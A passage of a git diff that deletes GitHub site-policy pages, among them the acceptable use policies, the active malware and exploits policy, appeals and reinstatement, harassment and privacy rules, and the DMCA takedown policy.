Archivists may use public information from the Service for archival purposes. - -Scraping refers to extracting information from our Service via an automated process, such as a bot or webcrawler. Scraping does not refer to the collection of information through our API. Please see Section H of our [Terms of Service](/site-policy/github-terms/github-terms-of-service#h-api-terms) for our API Terms. - -You may not use information from the Service (whether scraped, collected through our API, or obtained otherwise) for spamming purposes, including for the purposes of sending unsolicited emails to users or selling personal information, such as to recruiters, headhunters, and job boards. - -Your use of information from the Service must comply with the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). - -## 8. Privacy - -Misuse of personal information is prohibited. - -Any person, entity, or service collecting data from the Service must comply with the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), particularly in regards to the collection of personal information. If you collect any personal information from the Service, you agree that you will only use that personal information for the purpose for which that User has authorized it. You agree that you will reasonably secure any personal information you have gathered from the Service, and you will respond promptly to complaints, removal requests, and "do not contact" requests from us or other users. - -## 9. Excessive Bandwidth Use - -The Service's bandwidth limitations vary based on the features you use. If we determine your bandwidth usage to be significantly excessive in relation to other users of similar features, we reserve the right to suspend your Account, throttle your file hosting, or otherwise limit your activity until you can reduce your bandwidth consumption. We also reserve the right—after providing advance notice—to delete repositories that we determine to be placing undue strain on our infrastructure. For guidance on acceptable use of object storage in repositories, refer to [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github). For more details on specific features' bandwidth limitations, see the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -## 10. Advertising on GitHub - -**Short version:** _We do not generally prohibit use of GitHub for advertising. However, we expect our users to follow certain limitations, so GitHub does not become a spam haven. No one wants that._ - -While we understand that you may want to promote your Content by posting supporters' names or logos in your Account, the primary focus of the Content posted in or through your Account to the Service should not be advertising or promotional marketing. This includes Content posted in or through Pages, Packages, repositories, and all other parts of the Service. You may include static images, links, and promotional text in the README documents or project description sections associated with your Account, but they must be related to the project you are hosting on GitHub. You may not advertise in other Users' Accounts, such as by posting monetized or excessive bulk content in issues. - -You may not promote or distribute content or activity that is illegal or otherwise prohibited by our [Terms of Service](/site-policy/github-terms/github-terms-of-service) or [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies), including excessive automated bulk activity (for example, spamming), get-rich-quick schemes, and misrepresentation or deception related to your promotion. - -If you decide to post any promotional materials in your Account, you are solely responsible for complying with all applicable laws and regulations, including without limitation the U.S. Federal Trade Commission's Guidelines on Endorsements and Testimonials. We reserve the right to remove any promotional materials or advertisements that, in our sole discretion, violate any GitHub terms or policies. - -## 11. User Protection - -You must not engage in activity that significantly harms other users. - -We will interpret our policies and resolve disputes in favor of protecting users as a whole. - ---- - -**Enforcement.** GitHub retains full discretion to [take action](/site-policy/github-terms/github-community-guidelines#what-happens-if-someone-violates-githubs-policies) in response to a violation of these policies, including account suspension, account [termination](/site-policy/github-terms/github-terms-of-service#3-github-may-terminate), or [removal](/site-policy/github-terms/github-terms-of-service#2-github-may-remove-content) of content. Please also see our [Community Guidelines](/site-policy/github-terms/github-community-guidelines) for actions you can take if something or someone offends you. - -**Reinstatement and appeal.** If your content or account has been disabled or restricted and you seek reinstatement or wish to appeal, please see our [Appeal and Reinstatement page](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) for information about the process and use our [Appeal and Reinstatement form](https://support.github.com/contact/reinstatement) to submit a request. diff --git a/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md b/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md deleted file mode 100644 index 55a77575f7de..000000000000 --- a/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: GitHub Active Malware or Exploits -shortTitle: Active Malware or Exploits -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-active-malware-or-exploits - - /github/site-policy/github-community-guidelines#active-malware-or-exploits ---- - -Being part of a community includes not taking advantage of other members of the community. We do not allow anyone to use our platform in direct support of unlawful attacks that cause technical harms, such as using GitHub as a means to deliver malicious executables or as attack infrastructure, for example by organizing denial of service attacks or managing command and control servers. Technical harms means overconsumption of resources, physical damage, downtime, denial of service, or data loss, with no implicit or explicit dual-use purpose prior to the abuse occurring. - - Note that GitHub allows dual-use content and supports the posting of content that is used for research into vulnerabilities, malware, or exploits, as the publication and distribution of such content has educational value and provides a net benefit to the security community. We assume positive intention and use of these projects to promote and drive improvements across the ecosystem. - - In rare cases of very widespread abuse of dual-use content, we may restrict access to that specific instance of the content to disrupt an ongoing unlawful attack or malware campaign that is leveraging the GitHub platform as an exploit or malware CDN. In most of these instances, restriction takes the form of putting the content behind authentication, but may, as an option of last resort, involve disabling access or full removal where this is not possible (e.g. when posted as a gist). We will also contact the project owners about restrictions put in place where possible. - - Restrictions are temporary where feasible, and do not serve the purpose of purging or restricting any specific dual-use content, or copies of that content, from the platform in perpetuity. While we aim to make these rare cases of restriction a collaborative process with project owners, if you do feel your content was unduly restricted, we have an [appeals process](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) in place. - - To facilitate a path to abuse resolution with project maintainers themselves, prior to escalation to GitHub abuse reports, we recommend, but do not require, that repository owners take the following steps when posting potentially harmful security research content: - -* Clearly identify and describe any potentially harmful content in a disclaimer in the project’s README.md file or source code comments. -* Provide a preferred contact method for any 3rd party abuse inquiries through a SECURITY.md file in the repository (e.g. "Please create an issue on this repository for any questions or concerns"). Such a contact method allows 3rd parties to reach out to project maintainers directly and potentially resolve concerns without the need to file abuse reports. - - _GitHub considers the npm registry to be a platform used primarily for installation and run-time use of code, and not for research._ diff --git a/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md b/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md deleted file mode 100644 index deed7e722ba3..000000000000 --- a/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: GitHub Appeal and Reinstatement -versions: - fpt: '*' -redirect_from: - - /articles/github-appeal-and-reinstatement -topics: - - Policy - - Legal ---- -## Appeal and Reinstatement - -While the majority of interactions between individuals in GitHub’s community fall within our Acceptable Use Policies and Community Guidelines, violations of those policies do occur at times. When they do, GitHub staff may need to take enforcement action to address the violations. However, we understand that sometimes we might make mistakes. In some cases there may be a basis to reverse a moderation action taken (or not taken) by GitHub Staff. To ensure our policies and outcomes are applied evenly, GitHub provides an internal complaint-handling process where users can submit requests for reinstatement or provide additional information to appeal a moderation decision. - -## What are Appeals and Reinstatements? - -Both Appeals and Reinstatements may arise in relation to decisions to disable or limit access to content or an account, including decisions whether or not to: - -* Remove, disable access to, or restrict visibility of content -* Suspend or terminate access to an account -* Suspend or terminate access to the service, in whole or in part -* Suspend, terminate or otherwise restrict the ability to monetize content - -A “Reinstatement” is where a user wishes to regain access to their account or content and is willing to make any necessary changes to address the violation and agrees not to violate our terms going forward. - -An “Appeal” is where a user disputes that a violation has occurred and can provide additional information to show that a different decision should have been reached. - -## How this works - -If you seek Reinstatement or wish to Appeal an enforcement action, please fill out our [Appeal and Reinstatement form](https://support.github.com/contact/reinstatement). You may Appeal a moderation decision for up to six months following the decision. GitHub may, in its discretion, refuse to consider any Appeals submitted more than six months after the decision. - -GitHub staff will review the information provided in the form to determine whether there is sufficient information to warrant Reinstatement or granting of an Appeal. - -### Reinstatements - -Where a user can agree to abide by our Acceptable Use Policies moving forward and has made the changes necessary to address the violation(s), we may choose to reinstate their account or content depending on the circumstances and severity of the initial violation. - -All legitimate Reinstatement requests will be reviewed initially by GitHub staff and will be answered with a decision. - -### Appeals - -Where a user seeks to dispute a decision, they can use the form to explain their basis for disputing the decision and to provide any additional information regarding the alleged violation that they believe should have led to a different decision. - -If the information provided demonstrates that a different conclusion should have been reached, we may be able to grant an Appeal. GitHub will reverse or modify its decision when the Appeal contains sufficient grounds for us to determine that (i) our decision to act or not to act was mistaken; (ii) that the content or conduct was not illegal and not incompatible with our Terms; or (iii) that the content or conduct warrants a lesser severity of action than the measure taken. - -All decisions on Appeal are made by humans and not by any automated means. If the GitHub Staff reviewer on the Appeal is the same person who made the initial determination and that staff member believes their initial conclusion was correct (and thus would be inclined to deny the Appeal), a different member of GitHub’s staff will independently review the Appeal. - -All legitimate Appeals will be answered with a final decision. - -## Transparency - -We track Appeals and Reinstatements in our [Transparency Center](https://transparencycenter.github.com/appeals/). - -### Legal Rights - -If you believe that a final decision made on Appeal is still incorrect you may, in certain circumstances, have additional rights to seek review of the decision under your local law. For example, if you are located in the European Union, it might be possible to access an out-of-court dispute settlement process under the [Digital Services Act](https://eur-lex.europa.eu/eli/reg/2022/2065/oj#d1e2819-1-1). diff --git a/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md b/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md deleted file mode 100644 index 39d603a092be..000000000000 --- a/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: GitHub Bullying and Harassment -shortTitle: Bullying and Harassment -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-bullying-and-harassment - - /github/site-policy/github-community-guidelines#bullying-and-harassment ---- - -We do not tolerate harassment, bullying, or abuse of any kind, whether directly or by encouraging others to take part in the prohibited conduct. This includes: - -* Targeted personal attacks -* Piling on to or orchestrating [disruptive](/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users) activity in a way that amounts to abuse -* Following another user around the platform in a manner that causes intimidation -* Making sexual advances or comments directed at another individual -* Disingenuously participating in conversation in a way that instigates conflict or undermines sincere discussion -* Creating alternative accounts specifically to evade moderation action taken by GitHub staff or users - -Please note, not all unwelcome conduct is necessarily considered harassment. For example, disagreeing with another user or downvoting their comments may not rise to the level of harassment on our platform. In addition, sharing criticism of public figures or projects, or topics of public interest, does not necessarily fall under this policy. However, we encourage you to be mindful in how you engage with other users and the platform, as this activity may still violate our restriction on disrupting the experience of other users. diff --git a/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md b/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md deleted file mode 100644 index 8bcf8a15a6cc..000000000000 --- a/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: GitHub Disrupting the Experience of Other Users -shortTitle: Disrupting the Experience of Other Users -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-disrupting-the-experience-of-other-users - - /github/site-policy/github-community-guidelines#disrupting-the-experience-of-other-users ---- - -Being part of a community includes recognizing how your behavior affects others and engaging in meaningful and productive interactions with people and the platform they rely on. - -We do not allow behavior that significantly or continually disrupts the experience of other users. This includes: - -* Posting off-topic comments -* Opening empty or meaningless issues or pull requests -* Starring and/or following accounts or repositories in large volume in a short period of time -* Creating nonsensical or irrelevant code reviews -* Engaging with platform features in a way that causes excessive notifications for other users -* Using any other platform feature in a way that creates disruption - -While we encourage maintainers to moderate their own projects on an individual basis, GitHub staff may take further restrictive action against accounts that are engaging in these types of behaviors. - -Please note that the above conduct may also violate other restrictions in our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies). For example, depending on the nature and severity of the activity, it may rise to the level of [bullying and harassment](/site-policy/acceptable-use-policies/github-bullying-and-harassment). diff --git a/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md b/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md deleted file mode 100644 index 29a62d3773fa..000000000000 --- a/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: GitHub Doxxing and Invasion of Privacy -shortTitle: Doxxing and Invasion of Privacy -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-doxxing-and-invasion-of-privacy - - /github/site-policy/github-community-guidelines#doxxing-and-invasion-of-privacy ---- - -Don't post other people's personal information. This includes: - -* Personal, private email addresses -* Phone numbers -* Physical addresses or other private location information -* Bank account information or credit card numbers -* Social Security/National Identity numbers -* Passwords -* Voter information -* Medical information and personal biometric data -* Other private information that may pose a safety or security risk - -We may consider other information, such as photos or videos that were taken or distributed without the subject's consent, to be an invasion of privacy, especially when such material presents a safety risk to the subject, such as in the case of intimidation or harassment. - -GitHub will take context into account as well as whether the reported content is publicly available elsewhere. Please note, however, that while sharing publicly available content may not be a violation of this policy, if the information is shared with the intent to harass or incite other abusive behavior, it may violate our prohibition against [bullying and harassment](/site-policy/acceptable-use-policies/github-bullying-and-harassment). - -For more information, or to learn how to report a violation, see our [Private Information Removal Policy](/site-policy/content-removal-policies/github-private-information-removal-policy) and our instructions for [Reporting Abuse](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam). diff --git a/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md b/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md deleted file mode 100644 index 5be67a60d5f0..000000000000 --- a/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: GitHub Hate Speech and Discrimination -shortTitle: Hate Speech and Discrimination -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-hate-speech-and-discrimination - - /github/site-policy/github-community-guidelines#hate-speech-and-discrimination ---- - -GitHub does not tolerate speech that attacks or promotes hate toward an individual or group of people on the basis of who they are, including age, body size, ability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, sexual identity, or sexual orientation. This includes: - -* Mocking, attacking, or excluding a person or group based on their beliefs or the characteristics listed above -* Displaying clear affiliation or identification with known terrorist or violent extremist organizations -* Supporting or promoting hate groups or hate-based conspiracy theories -* Sharing symbols or images synonymous with hate -* Using harmful stereotypes, slurs, or dehumanizing speech -* Attacking an individual based on their perceived gender -* Dog whistling; or using coded or suggestive language and/or symbols to promote abuse or hate - -While GitHub takes all instances of abuse and harassment on the platform seriously, we are especially committed to fighting hate-based abuse where it disproportionately affects communities that have historically been targeted by such abuse. We aim to make GitHub a place where all individuals feel welcome and safe. diff --git a/content/site-policy/acceptable-use-policies/github-impersonation.md b/content/site-policy/acceptable-use-policies/github-impersonation.md deleted file mode 100644 index 1e1dfc6a7140..000000000000 --- a/content/site-policy/acceptable-use-policies/github-impersonation.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: GitHub Impersonation -shortTitle: Impersonation -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-impersonation - - /github/site-policy/github-community-guidelines#impersonation ---- - -You may not misrepresent your identity or your association with another person or organization. This includes doing any of the following in a way that misleads or deceives others: - -* Copying another user's avatar or other personal profile information -* Posting content under another user's email address -* Using a deceptively similar username, organization name, or other namespace -* Accessing an account or organization with another user's token or credentials -* Otherwise posing as another individual or organization - -Impersonation is a form of harassment and violation of this policy may lead to loss of access to your account. - -Please note, having a username similar to another is not necessarily impersonation. GitHub will take context into account. For example, as in cases involving claims of [misinformation or disinformation](/site-policy/acceptable-use-policies/github-misinformation-and-disinformation), we generally allow parody and satire that is in line with our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies). diff --git a/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md b/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md deleted file mode 100644 index 4e95f298bfee..000000000000 --- a/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: GitHub Misinformation and Disinformation -shortTitle: Misinformation and Disinformation -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-misinformation-and-disinformation - - /github/site-policy/github-community-guidelines#misinformation-and-disinformation ---- - -You may not post content that presents a distorted view of reality, whether it is inaccurate or false (misinformation) or is intentionally deceptive (disinformation), where such content is likely to result in harm to the public or to interfere with fair and equal opportunities for all to take part in a free and open society. This may include: -* Inaccurate or scientifically unsupported medical claims that endanger public health or safety -* Manipulated media, whether audio or visual, likely to mislead or deceive in a way that may harm the public interest -* False or misleading content likely to interfere with an individual's ability to participate in civic activities -* Unsubstantiated claims that could promote hate or targeted harassment of specific groups of people - -We encourage active participation in the expression of ideas, perspectives, and experiences and may not be in a position to dispute personal accounts or observations. We generally allow parody and satire that is in line with our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies), and we consider context to be important in how information is received and understood. When reviewing content under this policy, GitHub will consider the impact of various factors that may help to orient the viewer, such as whether the content has been provided with clear disclaimers, citations to credible sources, or includes other details that clarify the accuracy of the information being shared. - -## Synthetic & Manipulated Media Tools - -GitHub does not allow any projects that are designed for, encourage, promote, support, or suggest in any way the use of synthetic or manipulated media for the creation of non-consensual intimate imagery or any content that would constitute misinformation or disinformation under this policy. diff --git a/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md b/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md deleted file mode 100644 index 20aa5a1bab57..000000000000 --- a/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: GitHub Sexually Obscene Content -shortTitle: Sexually Obscene Content -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-sexually-obscene-content - - /github/site-policy/github-community-guidelines#sexually-obscene-content ---- - -We do not tolerate content associated with sexual exploitation or abuse of another individual, including where minors are concerned. We do not allow sexually themed or suggestive content that serves little or no purpose other than to solicit an erotic or shocking response, particularly where that content is amplified by its placement in profiles or other social contexts. This includes: - -* Pornographic content -* Non-consensual intimate imagery -* Graphic depictions of sexual acts including photographs, video, animation, drawings, computer-generated images, or text-based content - -We recognize that not all nudity or content related to sexuality is obscene. We may allow visual and/or textual depictions in artistic, educational, historical or journalistic contexts, or as it relates to victim advocacy. In some cases a disclaimer can help communicate the context of the project. However, please understand that we may choose to limit the content by giving users the option to opt in before viewing. diff --git a/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md b/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md deleted file mode 100644 index 65bf8b718031..000000000000 --- a/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: GitHub Threats of Violence and Gratuitously Violent Content -shortTitle: Threats of Violence and Gratuitously Violent Content -versions: - fpt: '*' -topics: - - Policy - - Legal -redirect_from: - - /github/site-policy/github-threats-of-violence-and-gratuitously-violent-content - - /github/site-policy/github-community-guidelines#threats-of-violence - - /github/site-policy/github-community-guidelines#gratuitously-violent-content ---- - - -You may not use GitHub to organize, promote, encourage, threaten, or incite acts of violence. You may not post content that depicts or glorifies violence or physical harm against human beings or animals. This includes: - -* Threatening another individual or group with abuse, harm, sexual violence, or death -* Posting text, imagery, or audio content glorifying or containing a graphic depiction of violence toward oneself, another individual, group, or animal -* Encouraging another individual to engage in self harm - -We do not allow violent content to be posted indiscriminately or in a way that is difficult for other users to avoid, such as a profile avatar or an issue comment. However, we understand there may be legitimate reasons to post violent content, such as for educational or documentary purposes, creative works, or depictions of historical events. In those cases, a clear warning or disclaimer can help users make an educated decision as to whether or not they want to engage with such content. Still, GitHub may decide to limit the visibility of such content to those who choose to opt in. diff --git a/content/site-policy/acceptable-use-policies/index.md b/content/site-policy/acceptable-use-policies/index.md deleted file mode 100644 index c7d483b8df9a..000000000000 --- a/content/site-policy/acceptable-use-policies/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Acceptable Use Policies -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - github-acceptable-use-policies - - github-active-malware-or-exploits - - github-bullying-and-harassment - - github-disrupting-the-experience-of-other-users - - github-doxxing-and-invasion-of-privacy - - github-hate-speech-and-discrimination - - github-impersonation - - github-misinformation-and-disinformation - - github-sexually-obscene-content - - github-threats-of-violence-and-gratuitously-violent-content - - github-appeal-and-reinstatement ---- - diff --git a/content/site-policy/content-removal-policies/dmca-takedown-policy.md b/content/site-policy/content-removal-policies/dmca-takedown-policy.md deleted file mode 100644 index 2f2e020e1de7..000000000000 --- a/content/site-policy/content-removal-policies/dmca-takedown-policy.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: DMCA Takedown Policy -redirect_from: - - /dmca - - /dmca-takedown - - /dmca-takedown-policy - - /articles/dmca-takedown - - /articles/dmca-takedown-policy - - /github/site-policy/dmca-takedown-policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Welcome to GitHub's Guide to the Digital Millennium Copyright Act, commonly known as the "DMCA." This page is not meant as a comprehensive primer to the statute. However, if you've received a DMCA takedown notice targeting content you've posted on GitHub or if you're a rights-holder looking to issue such a notice, this page will hopefully help to demystify the law a bit as well as our policies for complying with it. - -(If you just want to submit a notice, you can skip to [G. Submitting Notices](#g-submitting-notices).) - -As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such. - -## What Is the DMCA? - -In order to understand the DMCA and some of the policy lines it draws, it's perhaps helpful to consider life before it was enacted. - -The DMCA provides a safe harbor for service providers that host user-generated content. Since even a single claim of copyright infringement can carry statutory damages of up to $150,000, the possibility of being held liable for user-generated content could be very harmful for service providers. With potential damages multiplied across millions of users, cloud-computing and user-generated content sites like YouTube, Facebook, or GitHub probably [never would have existed](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) without the DMCA (or at least not without passing some of that cost downstream to their users). - -The DMCA addresses this issue by creating a [copyright liability safe harbor](https://www.copyright.gov/title17/92chap5.html#512) for internet service providers hosting allegedly infringing user-generated content. Essentially, so long as a service provider follows the DMCA's notice-and-takedown rules, it won't be liable for copyright infringement based on user-generated content. Because of this, it is important for GitHub to maintain its DMCA safe-harbor status. - -The DMCA also prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. - -## DMCA Notices In a Nutshell - -The DMCA provides two simple, straightforward procedures that all GitHub users should know about: (i) a [takedown-notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice) procedure for copyright holders to request that content be removed; and (ii) a [counter-notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice) procedure for users to get content re-enabled when content is taken down by mistake or misidentification. - -DMCA [takedown notices](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice) are used by copyright owners to ask GitHub to take down content they believe to be infringing. If you are a software designer or developer, you create copyrighted content every day. If someone else is using your copyrighted content in an unauthorized manner on GitHub, you can send us a DMCA takedown notice to request that the infringing content be changed or removed. - -On the other hand, [counter notices](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice) can be used to correct mistakes. Maybe the person sending the takedown notice does not hold the copyright or did not realize that you have a license or made some other mistake in their takedown notice. Since GitHub usually cannot know if there has been a mistake, the DMCA counter notice allows you to let us know and ask that we put the content back up. - -The DMCA notice and takedown process should be used only for complaints about copyright infringement. Notices sent through our DMCA process must identify copyrighted work or works that are allegedly being infringed. The process cannot be used for other complaints, such as complaints about alleged [trademark infringement](/site-policy/content-removal-policies/github-trademark-policy) or [sensitive data](/site-policy/content-removal-policies/github-private-information-removal-policy); we offer separate processes for those situations. - -## A. How Does This Actually Work? - -The DMCA framework is a bit like passing notes in class. The copyright owner hands GitHub a complaint about a user. If it's written correctly, we pass the complaint along to the user. If the user disputes the complaint, they can pass a note back saying so. GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury. - -Here are the basic steps in the process. - -1. **Copyright Owner Investigates.** A copyright owner should always conduct an initial investigation to confirm both (a) that they own the copyright to an original work and (b) that the content on GitHub is unauthorized and infringing. This includes confirming that the use is not protected as [fair use](https://www.lumendatabase.org/topics/22). A particular use may be fair if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately. - > **Example:** An employee of Acme Web Company finds some of the company's code in a GitHub repository. Acme Web Company licenses its source code out to several trusted partners. Before sending in a take-down notice, Acme should review those licenses and its agreements to confirm that the code on GitHub is not authorized under any of them. - -1. **Copyright Owner Sends A Notice.** After conducting an investigation, a copyright owner prepares and sends a [takedown notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice) to GitHub. Assuming the takedown notice is sufficiently detailed according to the statutory requirements (as explained in the [how-to guide](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice)), we will [post the notice](#e-transparency) to our [public repository](https://github.com/github/dmca) and pass the link along to the affected user. - -1. **GitHub Asks User to Make Changes.** If the notice alleges that the entire contents of a repository infringe, or a package infringes, we will skip to Step 6 and disable the entire repository or package expeditiously. Otherwise, because GitHub cannot disable access to specific files within a repository, we will contact the user who created the repository and give them approximately 1 business day to delete or modify the content specified in the notice. We'll notify the copyright owner if and when we give the user a chance to make changes. Because packages are immutable, if only part of a package is infringing, GitHub would need to disable the entire package, but we permit reinstatement once the infringing portion is removed. - -1. **User Notifies GitHub of Changes.** If the user chooses to make the specified changes, they _must_ tell us so within the window of approximately 1 business day. If they don't, we will disable the repository (as described in Step 6). If the user notifies us that they made changes, we will verify that the changes have been made and then notify the copyright owner. - -1. **Copyright Owner Revises or Retracts the Notice.** If the user makes changes, the copyright owner must review them and renew or revise their takedown notice if the changes are insufficient. GitHub will not take any further action unless the copyright owner contacts us to either renew the original takedown notice or submit a revised one. If the copyright owner is satisfied with the changes, they may either submit a formal retraction or else do nothing. GitHub will interpret silence longer than two weeks as an implied retraction of the takedown notice. - -1. **GitHub May Disable Access to the Content.** GitHub will disable a user's content if: (i) the copyright owner has alleged copyright over the user's entire repository or package (as noted in Step 3); (ii) the user has not made any changes after being given an opportunity to do so (as noted in Step 4); or (iii) the copyright owner has renewed their takedown notice after the user had a chance to make changes. If the copyright owner chooses instead to _revise_ the notice, we will go back to Step 2 and repeat the process as if the revised notice were a new notice. - -1. **User May Send A Counter Notice.** We encourage users who have had content disabled to consult with a lawyer about their options. If a user believes that their content was disabled as a result of a mistake or misidentification, they may send us a [counter notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice). As with the original notice, we will make sure that the counter notice is sufficiently detailed (as explained in the [how-to guide](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice)). If it is, we will [post it](#e-transparency) to our [public repository](https://github.com/github/dmca) and pass the notice back to the copyright owner by sending them the link. - -1. **Copyright Owner May File a Legal Action.** If a copyright owner wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain the user from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued. If the copyright owner does not give GitHub notice within 10-14 days, by sending a copy of a valid legal complaint filed in a court of competent jurisdiction, GitHub will re-enable the disabled content. - -## B. What About Forks? (or What's a Fork?) - -One of the best features of GitHub is the ability for users to "fork" one another's repositories. What does that mean? In essence, it means that users can make a copy of a project on GitHub into their own repositories. As the license or the law allows, users can then make changes to that fork to either push back to the main project or just keep as their own variation of a project. Each of these copies is a [AUTOTITLE](/get-started/learning-about-github/github-glossary#fork) of the original repository, which in turn may also be called the "parent" of the fork. - -GitHub _will not_ automatically disable forks when disabling a parent repository. This is because forks belong to different users, may have been altered in significant ways, and may be licensed or used in a different way that is protected by the fair-use doctrine. GitHub does not conduct any independent investigation into forks. We expect copyright owners to conduct that investigation and, if they believe that the forks are also infringing, expressly include forks in their takedown notice. - -In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks I have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement. - -## C. What about Circumvention Claims? - -The DMCA prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. Given that these types of claims are often highly technical in nature, GitHub requires claimants to provide [detailed information about these claims](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), and we undertake a more extensive review. - -A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe: -1. What the technical measures are; -1. How they effectively control access to the copyrighted material; and -1. How the accused project is designed to circumvent their previously described technological protection measures. - -GitHub will review circumvention claims closely, including by both technical and legal experts. In the technical review, we will seek to validate the details about the manner in which the technical protection measures operate and the way the project allegedly circumvents them. In the legal review, we will seek to ensure that the claims do not extend beyond the boundaries of the DMCA. In cases where we are unable to determine whether a claim is valid, we will err on the side of the developer, and leave the content up. If the claimant wishes to follow up with additional detail, we would start the review process again to evaluate the revised claims. - -Where our experts determine that a claim is complete, legal, and technically legitimate, we will contact the repository owner and give them a chance to respond to the claim or make changes to the repo to avoid a takedown. If they do not respond, we will attempt to contact the repository owner again before taking any further steps. In other words, we will not disable a repository based on a claim of circumvention technology without attempting to contact a repository owner to give them a chance to respond or make changes first. If we are unable to resolve the issue by reaching out to the repository owner first, we will always be happy to consider a response from the repository owner even after the content has been disabled if they would like an opportunity to dispute the claim, present us with additional facts, or make changes to have the content restored. When we need to disable content, we will ensure that repository owners can export their issues and pull requests and other repository data that do not contain the alleged circumvention code to the extent legally possible. - -Please note, our review process for circumvention technology does not apply to content that would otherwise violate our Acceptable Use Policy 